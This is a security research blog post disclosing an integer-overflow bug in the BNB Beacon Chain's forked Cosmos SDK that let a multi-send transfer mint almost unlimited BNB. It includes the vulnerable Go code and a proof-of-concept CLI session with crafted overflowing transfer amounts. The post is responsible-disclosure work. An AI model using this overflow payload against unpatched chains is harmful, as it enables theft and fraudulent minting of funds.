• Building
    • Firedancer
    • the Pit
    • Cyclone
  • Thinking
  • Connect
  • Building
    • Firedancer
    • the Pit
    • Cyclone
    • Collaborations
  • Thinking
  • About
Terms of Use_Privacy Policy_Disclaimers_

Helping Secure BNB Chain Through Responsible Disclosure

Felix Wilhelm
Felix Wilhelm
SecurityResearchEcosystem

Feb 10 2023 _ 6 min read

Helping Secure BNB Chain Through Responsible Disclosure

Introduction

In this blog post, we describe a vulnerability we discovered in the BNB Beacon Chain, the governance and staking layer of BNB Chain. The issue would have allowed an attacker to mint an infinite number of arbitrary tokens on the BNB chain, potentially leading to a large loss of funds. We privately disclosed the issue to the BNB team, which developed and deployed a patch in less than 24 hours. Thanks to this effort, no malicious exploitation took place, and no funds were lost.

As part of our efforts as builders, researchers, and collaborators in the crypto space, one of our goals at Jump Crypto is to improve security assurances across the entire ecosystem. To that end, our dedicated security team recently started a broad research effort dedicated to discovering and patching vulnerabilities across projects via coordinated disclosure, and this post is an outcome of these efforts.

In a somewhat novel architecture, BNB Chain is composed of two blockchains: The EVM compatible Smart Chain (BSC), which is based on a fork of go-ethereum and the Beacon Chain (BC), built on top of Tendermint and Cosmos SDK.

Interestingly, the Beacon Chain does not follow the upstream version of Cosmos SDK but uses a BNB fork hosted on GitHub. This forked version contains several BNB-specific changes. It deviates from the Cosmos SDK upstream in several ways, motivating us to take extra care in reviewing the differences.

Technical Details

To understand the vulnerability, we first need to introduce two fundamental building blocks of Cosmos SDK-based blockchains: Messages and Coins.

Messages are the primary way Clients interact with a Cosmos chain. Modules, which are responsible for the business logic of the chain, can define their own message types and handlers to perform state transitions. In addition to application-specific message types (like BNB’s [BurnMsg]), the Cosmos SDK provides several core modules that define message types for functionality such as transferring funds ([MsgSend]) or delegating stake (MsgDelegate). Any Client can submit these messages as part of a transaction, so ensuring that message handlers correctly deal with malicious inputs is a fundamental part of reviewing any Cosmos-based blockchain.

A Coin is the data type used by Cosmos SDK to handle assets. Coins hold a certain amount of a specific currency, and the BNB Cosmos fork uses the following definition:

// Coin hold some amount of one currency
type Coin struct {
	Denom  string `json:"denom"`
	Amount int64  `json:"amount"`
}

From a security perspective, securely interacting with the Coin type is quite difficult. The Amount field is signed, which means it can contain negative numbers. In addition, int64 is a Golang primitive that can silently over- and underflow when used in calculations. Even more interesting is the deviation between the BNB fork and the upstream Cosmos SDK for this type. While upstream still supports negative values in the Amount field, it uses a safe bigInt wrapper instead of int64, protecting applications from unexpected over- and underflows.

We reached out to the BNB Core team, which emphasized that choice of primitive type was a hard tradeoff decision to improve the performance of the DEX which used to run on BNB Beacon Chain. The BNB core team applied several rounds of security due diligence to rule out any overflow issues, but missed this particular instance. Given these performance requirements don’t apply anymore, they are working to implement the safe wrapper across their codebase.

Searching for message handlers that are at risk due to this behavior quickly led us to the MsgSend type that is part of the standard x/bank module:

//https://github.com/bnb-chain/bnc-cosmos-sdk/blob/6979480679f6c4980aa5a5ac11ce874f54f2a927/x/bank/msgs.go
// MsgSend - high level transaction of the coin module
type MsgSend struct {
	Inputs  []Input  `json:"inputs"`
	Outputs []Output `json:"outputs"`
}

// Transaction Input
type Input struct {
	Address sdk.AccAddress `json:"address"`
	Coins   sdk.Coins      `json:"coins"`
}

// Transaction Output
type Output struct {
	Address sdk.AccAddress `json:"address"`
	Coins   sdk.Coins      `json:"coins"`
}

// Coins is a set of Coin, one per currency
type Coins []Coin

While MsgSend is often used for simple 1-to-1 token transfers between two accounts, it supports a more generic form of multi-party transfers with the Inputs and Outputs arrays. The Inputs array consists of a list of sender addresses and the assets they want to transfer, and the Outputs array contains the destination addresses and the assets they should receive.

To not allow trivial theft of funds or malicious minting of new assets, the MsgSend message handler needs to enforce several invariants:

All accounts listed in the Inputs array need to sign the transaction. This is enforced as part of the normal Cosmos signature verification flow using the GetSigners() method:

// Implements Msg.
func (msg MsgSend) GetSigners() []sdk.AccAddress {
	addrs := make([]sdk.AccAddress, len(msg.Inputs))
	for i, in := range msg.Inputs {
		addrs[i] = in.Address
	}
	return addrs
}

All Coin amounts specified in the Inputs and Outputs arrays need to be positive, as a transfer of a negative amount could be used to steal funds from a recipient. This verification is handled as part of the ValidateBasic() method of the two types:

// ValidateBasic - validate transaction input
func (in Input) ValidateBasic() sdk.Error {
	if len(in.Address) != sdk.AddrLen {
		return sdk.ErrInvalidAddress(in.Address.String())
	}
	if !in.Coins.IsValid() {
		return sdk.ErrInvalidCoins(in.Coins.String())
	}
	if !in.Coins.IsPositive() {
		return sdk.ErrInvalidCoins(in.Coins.String())
	}
	return nil
}

// ValidateBasic - validate transaction output
func (out Output) ValidateBasic() sdk.Error {
	if len(out.Address) != sdk.AddrLen {
		return sdk.ErrInvalidAddress(out.Address.String())
	}
	if !out.Coins.IsValid() {
		return sdk.ErrInvalidCoins(out.Coins.String())
	}
	if !out.Coins.IsPositive() {
		return sdk.ErrInvalidCoins(out.Coins.String())
	}
	return nil
}

Finally, the number of Input tokens needs to be equivalent to the number of Output tokens. This has to be checked early in the message handling as the code responsible for the actual transfer of the funds subtracts the Input tokens from the Sender accounts and adds the Output tokens to the receiving ones. While the code ensures that the Sender has the assets they want to transfer, it does not verify that the Outputs array doesn’t create tokens out of thin air.

Instead, this check is done as part of the ValidateBasic() method of MsgSend:

// Implements Msg.
func (msg MsgSend) ValidateBasic() sdk.Error {
	[..]
	// make sure all inputs and outputs are individually valid
	var totalIn, totalOut sdk.Coins
	for _, in := range msg.Inputs {
		if err := in.ValidateBasic(); err != nil {
			return err.TraceSDK("")
		}
		totalIn = totalIn.Plus(in.Coins) // (A)
	}
	for _, out := range msg.Outputs {
		if err := out.ValidateBasic(); err != nil {
			return err.TraceSDK("")
		}
		totalOut = totalOut.Plus(out.Coins) // (B)
	}
	// make sure inputs and outputs match
	if !totalIn.IsEqual(totalOut) { 
		return sdk.ErrInvalidCoins(totalIn.String()).TraceSDK("inputs and outputs don't match")
	}
	return nil
}

The code loops over the input array and sums up all Coins arrays in the totalIn variable; it then does the same for the output array and stores the result in totalOut. Validation is only successful if both sums are equal. in.Coins and out.Coins are each of type sdk.Coins, which is an array of Coin entries for different currencies. For the simplest case, where we only deal with a single currency, the Plus method calls in (A) and (B) boil down to the Coin.Plus method as shown below:

// Adds amounts of two coins with same denom
func (coin Coin) Plus(coinB Coin) Coin {
	if !coin.SameDenomAs(coinB) {
		return coin
	}
	return Coin{coin.Denom, coin.Amount + coinB.Amount}
}

The method adds the two Amount fields, not checking for potential overflows. This makes bypassing the totalIn == totalOut check straightforward by triggering an integer overflow in the totalOut calculation.

An example transfer that exploits this issue to “mint” an almost unlimited amount of BNB tokens via a malicious transfer is shown below: Adding the three output amount fields results in the value 0x10000000000000001, which is too large to fit into a 64bit variable and will overflow to 1. This means that the destination accounts can receive a much larger number of BNB tokens than the sender provided:


$ # Sender Account
$ bnbcli account bnb1sdg96khysz899gjhucmep6as8zh6zam4u6j6c3 --chain-id=${chainId} | jq ".value.base.coins"
[
  { // dev0
    "denom": "BNB",
    "amount": "100000060"
  }
]
$ # Destination Account does not exist yet
$ bnbcli account bnb15q940mktrr5s77x2n0hyc0l7yfu55sk6uugfrp --chain-id=${chainId} | jq ".value.base.coins"
ERROR: No account with address bnb15q940mktrr5s77x2n0hyc0l7yfu55sk6uugfrp was found in the state.
$ # Transfer details to trigger the overflow
$ cat transfer.json 
[
   {
      "to":"bnb15q940mktrr5s77x2n0hyc0l7yfu55sk6uugfrp",
      "amount":"9223372036854775000:BNB"
   },
   {
      "to":"bnb1a8p35jlfzz7td4tljcrpfw3gv9z48ady6l248d",
      "amount":"9223372036854775000:BNB"
   },
   { 
	   "to":"bnb1dl0x933432der5rnafk4037dwtk8rzmh59jv2h",
	   "amount": "1617:BNB" }
]
$ # Send the transfer
$ bnbcli token multi-send --chain-id=${chainId} --from dev0 --transfers-file transfer.json 
Password to sign with 'dev0':
Committed at block 17449

$ # Destination account now has ~92 billion BNB tokens
$ bnbcli account bnb15q940mktrr5s77x2n0hyc0l7yfu55sk6uugfrp --chain-id=${chainId} | jq ".value.base.coins"
[
  {
    "denom": "BNB",
    "amount": "9223372036854775000"
  }
]

The BNB team fixed the issue, by switching to overflow resistant arithmetic methods for the sdk.Coin type. After the patch, an overflow in the Coin calculation will cause a golang panic and a transaction failure.

Parting Thoughts

Bugs that allow infinite minting of native assets are some of the most critical vulnerabilities in web3. As such, this finding is proof that we all must stay vigilant and collaborate to elevate security assurances across all projects.

At Jump Crypto, we believe in the promise of web3 and are working hard to build and foster safer, scalable and useful systems in the space. That’s why, over the past year, we’ve been building up a dedicated security team working around the clock conducting core research, and are working with teams to strengthen the security of the entire ecosystem.

Share

Stay up to date with the latest from Jump_

More articles

SAFU: Creating a Standard for Whitehats
SAFU: Creating a Standard for Whitehats

Whitehats and DeFi protocols need a shared understanding of security policy. We propose the SAFU - Simple Arrangement for Funding Upload - as a versatile and credible way to let whitehats know what to...

Oct 24 2022 _ 17 min

Share

Disclaimer

The information on this website and on the Brick by Brick podcast or Ship Show Twitter spaces is provided for informational, educational, and entertainment purposes only.  This information is not intended to be and does not constitute financial advice, investment advice, trading advice, or any other type of advice.  You should not make any decision – financial, investment, trading or otherwise – based on any of the information presented here without undertaking your own due diligence and consulting with a financial adviser.  Trading, including that of digital assets or cryptocurrency, has potential rewards as well as potential risks involved. Trading may not be suitable for all individuals. Recordings of podcast episodes or Twitter spaces events may be used in the future.

Building_
Terms of Use_Privacy Policy_Disclaimers_

© 2024 Jump Crypto. All Rights Reserved.

Jump Crypto does not operate any business lines that accept funds from external investors. Any person, company, or app purporting to accept external investor funds on behalf of Jump Crypto is fraudulent.